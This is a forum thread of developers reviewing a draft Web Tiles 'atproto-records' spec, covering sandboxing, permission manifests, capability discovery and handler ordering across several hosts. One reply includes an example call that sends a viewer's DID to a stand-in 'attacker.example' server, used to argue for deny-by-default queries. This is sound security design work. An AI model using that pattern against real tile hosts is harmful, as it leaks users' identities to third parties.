Request for Comments: Web Tiles: atproto-records

I’ve been working with https://webtil.es lately as a way to sandbox and decentralize arbitrary lexicon rendering capabilities. To that end I have written a spec around data loading and interactions those lexicons expect, and have so far used this spec to implement web tiles for Margin and Semble lexicons. GreenGale

Would love to hear your feedback if this is something you’re interested in! :slight_smile:

10 Likes

Yeah, I was looking at this. I have something similar for https://highport.space/ and want to compare the two. I’ll try to get some openspec content generated specific to the atproto service worker and framework the I’m using.

1 Like

I’ve just started playing around with webtiles, the inability to query does feel like having an arm tied behind your back. However it seems like there’s a few things here you’d want to consider.

  1. Webtiles can/should be hosted at arbitrary domains to ensure complete sandbox isolation, that means that loading a script from the host domain would also be sandboxed. I believe the approach used by the wishes work ( Wishes: Creating Two Web Tiles that Talk to Each Other ) is postMesage back to the embedding page
  2. For Cavu Games I’ve implemented a way for games to read and write records without their own login via a host/proxy. In that world it’s incredibly useful for the host to constrain the rkeys. By default everything is given a per-game prefix. I think you’d want to model something similar for webtiles.
  3. Also on Cavu Games, I use a manifest that lists out the write permissions. It’s rendered in plain text to the user before starting a game. I would suggest a similar approach here, at-least with the manifest so people know what they’re getting into before adding a tile somewhere.
  4. Your proposal mentions “The tile can request writes to the host’s selected account, subject to authorization” - I think the worst version of this would be an oauth request for every tile, so the obvious approach is one oauth for the host site. That means a user is going to approve “my favorite app dot com” but the actual writes are coming from “malicious tile dot net”. Even with cid pinning I don’t think it’s reasonable to assume that a host is going to fully vet the code from every tile so we should have really fine grained permissions for every tile. My intuition is that looks less like “read/write” and more like “save game/post photo”.

Overall I’m excited to see where you take this. The idea of building with real composable components is super interesting and giving those components a way to collaborate and actually read and write data is going to be the killer feature.

2 Likes

Thanks for writing this up! I went back through the draft atproto-records spec and made a comparison chart with Raku (a small browser for web tiles), where I recently added renderer tiles for two record types. Here it is, in case it’s useful.

atproto-records draft Raku today
Handing over the record listen() + context, own module tp-data (data.js): ready, then payload
Record shape getRecord format { uri, cid, did, handle, collection, rkey, value }
Reading other records getRecord: any public record { get }: only records named in the given record, or in its own account; 20 per load
Blobs not covered { picture }: only files listed in a record already handed over; PNG/JPEG/WebP/GIF, ≤ 1 MB
Service queries query: any HTTPS XRPC service none
Opening an address not covered { open }: at:// only, rate-limited
Viewer identity getAccount(), may be withheld never disclosed
Writes writeRecord none (read-only)
Choosing the renderer tile declares in listen() after loading pinned list in the host, by collection

On Chris’s first point, the wishes demo, which came some time before Raku, uses postMessage directly between the tile and the embedding page. The Tiles Protocols modules, small scripts like data.js that the host provides, work the same way underneath. In Raku, tp-data’s data.js isn’t loaded from the host’s domain. The loading server serves it at /.well-known/web-tiles/ on the tile’s own sandboxed origin, and it’s a thin wrapper over postMessage to the host. It looks like the draft puts atproto-records.js at the same reserved path and uses the same kind of messages, so it would likely work the same way. Importing a protocol module from that path would keep the sandbox intact, since the module is the postMessage approach, packaged.

I agree with Chris’s third and fourth points too. Neither Raku nor the draft yet has a way for a tile to declare up front what it does (which collections it renders, what it may write) so a host or person can see it before running it, and that seems like the biggest open piece.

Full write-up, including Raku’s requests and their limits: Renderer tiles: showing atproto records inside Raku

Looking forward to following where this goes, and I expect to adjust Raku to fit.

3 Likes

Thanks all for the comments!

I believe I’m following the Tiles Protocol module loading spec with this? Did I misunderstand something about it?

Agreed with both of these, great points, exactly what I was hoping to get validated. I’ll look into tightening these up. I do think however that this is a host level problem, since it’s the one authorizing the write. There’s lots of ways to solve this, but I think it lives outside the protocol.

Agreed, I explicitly refuse to implement multi-login flows, but the protocol doesn’t really care how it works. Passing to the host does mean that the writes are actually coming from “my fave app com” rather than “malicious tile”, I think? It does also mean that the fave app has to request all the permissions up front for any tile they plan to use, which is annoying. I’m not aware of progressive authorization on atproto, but it would be really helpful here.

I think this is a really good idea, probably makes sense to include in the listen() context? Giving the host the option to display what the tile is requesting and have the user approve or deny seems like a good idea.

@pyxorium.com Thanks for writing Raku! It was one of the projects I found when implementing this.

I’m curious if you have any thoughts on listen() vs tp-data and a payload? It seems to me like Raku’s implementation is more standard, and I think it might make sense to align with tp-data rather than something bespoke? Will test out tp-data for this, and report back.
Also I do need to include blobs! Thanks for pointing that out.

Finally, in my head open at:// and getRecord are more or less the same thing? I’m not sure I conceptually understand the difference, or why we would want both?

Yeah, I think I’ll need to solve this to move forward as well.

Thanks again for thinking through this with me! I’ll come back with an update hoping to address some of these concerns!

1 Like

Thanks for writing this up, and thanks @chris.pardy.family and @pyxorium.com for the comparisons. I’ve compared the draft against what Highport does. I’d like to help get this to a common interface that Highport, Raku, your host, and whatever comes next can all implement.

Some background on where Highport sits, since it’s a different shape of host. Highport serves a tile as the top-level page of a site on its own domain, not inside an embedding page. Tiles reach the host through same-origin modules under /.well-known/web-tiles/:

  • data.js (tp-data)
  • site.js
  • identity.js, which gives the signed-in visitor’s DID and verified handle
  • xrpc.js, a fixed, read-only set of XRPC queries the host answers itself

The page’s CSP is connect-src 'self', and nothing is forwarded to other services. So Highport will never offer everything this draft describes, and neither will Raku. Your host will offer more than either of us.

I think that’s fine, and probably how it should be. The interface should expect hosts to differ, and make each difference explicit enough that a tile can degrade safely instead of breaking. In practice, every capability is a feature that a host can turn on, turn off, or narrow with allow and deny lists. A tile can learn which before it renders anything.

Here are the changes I’d ask for.

1. Separate the API from the wire

Make the exported functions and their semantics the standard. Treat the tiles-protocol-* table as the web binding for embedding hosts. Tiles Protocols already leaves the implementation to the environment. Highport would serve the same atproto-records.js exports over same-origin fetch, and Raku could serve them over tp-data. A tile written against the exports shouldn’t care which.

2. Every function is an optional, scoped feature

Each function (getRecord, query, getAccount, writeRecord, and the ones in point 6) should be a feature with a scope the host states. Hosts express their policy as allow and deny lists:

  • Reads: which collections, and which repos (any, the context record’s author, the site owner, referenced records only).
  • Queries: which (service, method) pairs, rather than any HTTPS origin.
  • Writes: which collections, which actions, and an rkey prefix, as Chris suggested.

A host may grant less than a tile asks for, never more. That gives each provider room for its own policy without forking the protocol.

3. Add describe() instead of omitting functions

The draft says unsupported functions MUST be omitted. Omission can only say “not here”. It can’t say “sign in first”, “the site owner turned this off”, or “only for these collections”, and a tile needs to tell those apart to degrade well. I’d propose:

  • Every export is always present.
  • describe() returns one entry per feature, with a status and, when it’s off, a reason.
  • addCapabilityHandler(fn) fires when a status changes, for example after sign-in.
  • A call to a feature that’s off rejects with the existing code plus the same reason, so describe() and the call never disagree.

Hosts that predate describe() keep omitting, so tiles check for describe first and fall back to typeof.

{
  protocol: 'atproto-records', version: 1,
  features: {
    context:     { status: 'available', updates: false },
    getRecord:   { status: 'limited', scope: { collections: ['at.margin.note'], repos: 'context-author' } },
    query:       { status: 'disabled', reason: 'host-policy' },
    getAccount:  { status: 'needs-sign-in' },
    writeRecord: { status: 'disabled', reason: 'not-implemented' }
  }
}

That’s roughly what Highport would answer for a Margin note tile.

  • Statuses: available, limited, needs-sign-in, needs-consent, disabled. Only the two needs-* statuses change while the tile is running.
  • Reasons: not-implemented, host-policy, owner-declined, person-declined, not-declared, scope-mismatch, version, environment.

4. Declare needs in the manifest, not only in listen()

This is the up-front declaration both of you raised. I’d put it in the tile record, so it’s published, pinned by CID, and readable before any code runs. listen() would stay as the readiness signal.

"protocols": {
  "atproto-records": {
    "version": 1,
    "features": {
      "context":     { "need": "required", "record": "required", "collections": ["at.margin.note"] },
      "getRecord":   { "need": "optional", "collections": ["at.margin.note", "at.margin.reply"], "purpose": "Show replies" },
      "query":       { "need": "optional", "endpoints": [{ "service": "https://constellation.microcosm.blue", "method": "blue.microcosm.links.getBacklinks" }], "purpose": "Find replies and likes" },
      "writeRecord": { "need": "optional", "collections": ["at.margin.like"], "actions": ["create", "delete"], "purpose": "Like a note" }
    }
  }
}
  • If a required feature comes out disabled, the host doesn’t start the tile and says why in its own UI.
  • An optional feature that’s off is reported, and the tile hides or greys out whatever depends on it.
  • purpose is the plain-language text a host shows when asking for consent: “Like a note”, not “write”.
  • Tying grants to the tile’s CID means a host approves this version’s writes, which goes some way toward the “malicious tile dot net” problem.

For what it’s worth, Highport tiles already declare typed parameters in their records. A parameter whose type is an NSID is effectively listen({record: 'required', collections: [nsid]}), stated statically. So this direction has worked in practice.

5. Default to deny for reads that reach out

As drafted, query() to any HTTPS origin and getRecord() on any at:// URI both let a tile pick a server and send it data, such as query({service: 'https://attacker.example', params: {did}}) after getAccount(). That undoes the Web Tiles guarantee that a tile can’t reach the network. With points 2 and 4 in place, the fix is a default:

  • query is off unless the tile declared the exact (service, method) and the host allows it.
  • getRecord defaults to records the context references, or the same repo, as Raku does.
  • The spec should name SSRF rules for hosts that fetch server-side: no private addresses, no redirects, and a size cap.

Hosts that want to be more open can be, and they say so in describe().

6. Smaller things

  • Add getBlob({did, cid}) and listRecords. Everyone needs blobs, and listing shouldn’t require query against a PDS.
  • Keep open({uri}) separate from getRecord. One asks the host to show something and returns nothing to the tile. The other hands the tile data. A host may want to allow one and not the other.
  • Record shape: {uri, cid, value}, plus an optional author: {did, handle?}. The handle should be included only when it’s verified both ways.
  • Concrete numbers, or at least minimums: maximum context size, requests per load, and call timeouts. That way a tile author knows what’s safe on every host.

What I’ll do on the Highport side

I plan to ship a read-only atproto-records.js on Highport: context, getRecord, and describe(), with query and writeRecord reported as disabled. Renderer tiles written to this draft would then run there and degrade visibly rather than fail. I’m also happy to help turn the above into spec text if you’d like to take it in this direction.

2 Likes

I also want to mention that I plan on supporting stand-alone parameterized tiles as well as post-embedded tiles in https://off-the-clock.us in the near future. Having this locked down sooner rather than later would be great.

1 Like

Thanks @hyl.st, and thanks @ngerakines.me, all of this is really helpful.

tp-data vs listen(): Nick’s split sounds good to me. tp-data is a transport. It passes data between tile and host, but says nothing about what the data means. Raku’s { get }, { picture } and { open } are its own vocabulary carried inside it. A shared atproto-records API, with tp-data as one way to carry it, gives us the standard part without each host inventing its own messages. One catch if you test tp-data: data.js keeps nothing for handlers that aren’t there yet, so the tile has to add its handler before calling listen(), and the host should answer every ready rather than sending on load. Roomy hit this (PR #543), and Raku follows the same rule.

open vs getRecord: Agree with Nick. getRecord hands the tile data. open asks the host to show something, and the tile learns nothing about what’s there. In Raku, open can also open another tile, not just a record. So they carry different risks, and a host may want to allow one and not the other.

If the spec settles in this direction, I’d be glad to have Raku serve a read-only atproto-records.js over tp-data to start, similar to what Nick plans for Highport, and to adjust its renderers to match.

2 Likes

@ngerakines.me this is awesome, thank you so much, I don’t have any immediate notes and am broadly aligned. I’ll realign this the spec around these updated decisions.

Should we make listen() signal readiness, it doesn’t need params anymore, now that we the have the manifest? Or should we keep both?

1 Like

Thanks both.

@hyl.st, I’d make listen() readiness only and let the manifest be the single declaration. If both can declare needs, the spec has to say which wins when they disagree. The manifest has to win, since it’s pinned by CID and checked before any code runs, so runtime parameters could only narrow it. Concretely:

  • listen() takes no parameters and can be called more than once. The host answers every call with the context and a describe() snapshot, so the tile gets its data and its capabilities in one handshake.

  • A tile with no protocols block in its manifest gets not-declared for every feature. listen() parameters aren’t a fallback.

  • For tiles already written to the draft, hosts MAY treat listen({record, collections}) as a narrowing of the manifest, never a widening, for a transition period.

@pyxorium.com, the handler-ordering point should be normative. I’d write it as: tiles MUST add their handlers before calling listen(), and hosts SHOULD replay the current context to handlers added later. Highport’s data.js already replays to late handlers, which means a tile that registers late works on Highport and fails on Raku. I’ll add a console warning when that happens so authors catch it. And +1 on open taking a tile as well as a record as its target.

With Highport, Raku, and Off the Clock all planning a read-only atproto-records.js, it might be worth a small shared test tile that calls describe() and renders what each host reports. That would give us an interop check across hosts as the spec settles.

2 Likes

Thanks @ngerakines.me. Handler ordering as normative makes sense. Raku’s tiles currently get the stock data.js from dasl-tiles, which doesn’t replay, so a late handler fails there, as you say. I will plan to serve a copy that replays the latest payload to handlers added later.

I’m also glad to take part in a shared test tile that calls describe() and renders what each host reports, for the interop check across Highport, Raku, and Off the Clock.

1 Like

Raku’s copy is live now, it replays the latest context (the record from the most recent ready) to handlers added later, with a console warning; answers to a tile’s own requests aren’t replayed.

2 Likes

Thanks all, I’ve updated the spec now to be aligned with what we have discussed here, so it is aligned with what we’ve been discussing :slight_smile:

I think this should be enough to set a standard, now we gotta get @robin.berjon.com approval? Not entirely sure what the next steps are to get it into dasl.ing

3 Likes